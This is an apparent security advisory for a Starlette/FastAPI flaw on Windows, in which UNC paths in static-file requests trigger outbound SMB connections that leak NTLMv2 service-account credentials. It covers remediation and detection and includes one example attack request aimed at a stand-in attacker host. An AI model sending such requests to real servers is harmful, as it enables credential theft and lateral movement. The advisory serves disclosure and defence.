CVE-2026-48818: Starlette Windows SSRF Credential Leakage in Static File Serving

Technical summary

The vulnerability exists in Starlette's StaticFiles handler on Windows operating systems running versions 1.0.1 and earlier. When processing a request containing a UNC path, the framework calls os.path.realpath() to validate the file path before rejecting it as out-of-bounds. On Windows, os.path.realpath() performs network operations for UNC paths, triggering an SMB connection to the attacker-specified host. This occurs prior to security checks that would otherwise reject the path, allowing an unauthenticated attacker to force the service account to initiate outbound SMB connections and leak NTLMv2 credentials. The issue is classified under CWE-918 (Server-Side Request Forgery), and the CVSS 3.1 score of 7.5 reflects high confidentiality impact with network-accessible attack vectors. The vulnerability affects deployments with the default follow_symlink=False setting, which is the standard configuration for most Starlette and FastAPI deployments.

Business impact

This vulnerability creates a credential exposure risk for any organization running Starlette or FastAPI on Windows production servers. Service account credentials leaked via NTLMv2 can be subjected to offline cracking using readily available tools, potentially granting attackers lateral movement capabilities within the network. Additionally, NTLMv2 relay attacks can be leveraged to impersonate the service account against other internal resources. Even though the attacker receives no file content and no visible error handling changes are needed, the silent credential leakage during normal-looking 404 responses makes this particularly dangerous—defenders may not immediately detect active exploitation. For organizations with stringent credential hygiene and network segmentation policies, the business impact is contained; for others, this represents a pathway to privilege escalation and persistent access.

Affected systems

Starlette versions 1.0.1 and earlier on Windows operating systems are vulnerable. This includes FastAPI applications and any other frameworks or applications built on top of Starlette using the StaticFiles middleware. POSIX-based systems (Linux, macOS, BSD) are not affected because os.path.realpath() does not trigger SMB connections on those platforms. Additionally, configurations that explicitly set follow_symlink=True are not vulnerable. The vulnerability is most commonly encountered in Windows-based deployments of FastAPI REST APIs, web applications, or microservices that serve static assets through Starlette.

Exploitability

The exploit is straightforward and requires no authentication or special configuration. An attacker can craft HTTP requests to a Starlette-based application with UNC paths in the URL (e.g., GET /static/\\attacker.com\share) and reliably trigger SMB connections. The attack has no user interaction requirement and works regardless of whether symlinks are actually present on the system. The primary barrier to exploitation is network visibility—the attacker must be positioned to either capture the outbound SMB traffic or control a domain/IP that will receive SMB connection attempts. Exploitation does not depend on application-level logic or unusual configurations, making widespread impact likely across unpatched Windows deployments.

Remediation

Upgrade Starlette to version 1.1.0 or later, which contains a fix that prevents UNC paths from triggering SMB connections. For FastAPI users, upgrade FastAPI to a version that depends on Starlette 1.1.0 or later—verify against your FastAPI release notes for the exact version. If immediate patching is not possible, mitigate by restricting network egress for the service account running the application (block SMB/port 445 outbound), using application-level request filtering to reject requests containing backslashes or UNC path patterns, or moving the application to a POSIX-based operating system. Credential rotation for service accounts running vulnerable Starlette instances on Windows is recommended if the service has been exposed to untrusted networks.

Patch guidance

The fix is available in Starlette 1.1.0. Review your dependency chain to identify all applications using Starlette—this includes direct dependencies and transitive dependencies through frameworks like FastAPI. For FastAPI users, cross-reference the FastAPI changelog to confirm which FastAPI version incorporates Starlette 1.1.0 or later. Testing should verify that static file serving continues to work as expected for legitimate requests and that malicious UNC paths are now rejected without triggering network connections. In environments with strict change management, this patch is safe to prioritize because it only affects the path normalization logic and does not introduce breaking changes to the API.

Detection guidance

Monitor Windows event logs for failed SMB connection attempts initiated by the service account running the application, particularly to unknown external hosts. SMB connection failures in Windows Security Event Log (Event ID 5061) can indicate exploitation attempts. At the network level, detect outbound SMB traffic (port 445) from application servers to unexpected destinations using network flow monitoring or SIEM tools. Additionally, review HTTP access logs for requests containing backslashes, UNC paths, or the pattern \\[a-zA-Z0-9.-]+\ which are unlikely to appear in legitimate static file requests. Correlation between HTTP 404 responses and subsequent SMB connection failures is a strong indicator of exploitation.

Why prioritize this

Although the CVSS score is 7.5 (HIGH), this vulnerability should be prioritized for immediate patching in most organizations due to the silent nature of credential leakage and the Windows-specific vector. Unlike vulnerabilities that cause service degradation or immediate data loss, this threat operates invisibly—legitimate 404 responses mask malicious activity. Service account credential compromise is a frequently exploited pathway to lateral movement and domain escalation. Organizations running Starlette/FastAPI on Windows in security-sensitive environments should treat this as critical. The lack of KEV designation does not diminish the risk; patching to 1.1.0 is straightforward and carries minimal operational risk.

Risk score, explained

The CVSS 3.1 score of 7.5 reflects a HIGH-severity vulnerability driven by high confidentiality impact (service account credentials are exposed), network-based attack vector, and no authentication requirement. The score does not account for the particularly insidious nature of the exploit—the lack of observable service disruption makes detection and attribution difficult, which in practice elevates organizational risk. The score also does not penalize the specificity to Windows and Starlette deployments, which may limit the absolute number of affected systems, but those systems face substantial post-compromise risk if service accounts are poorly managed or network controls are weak.

Frequently asked questions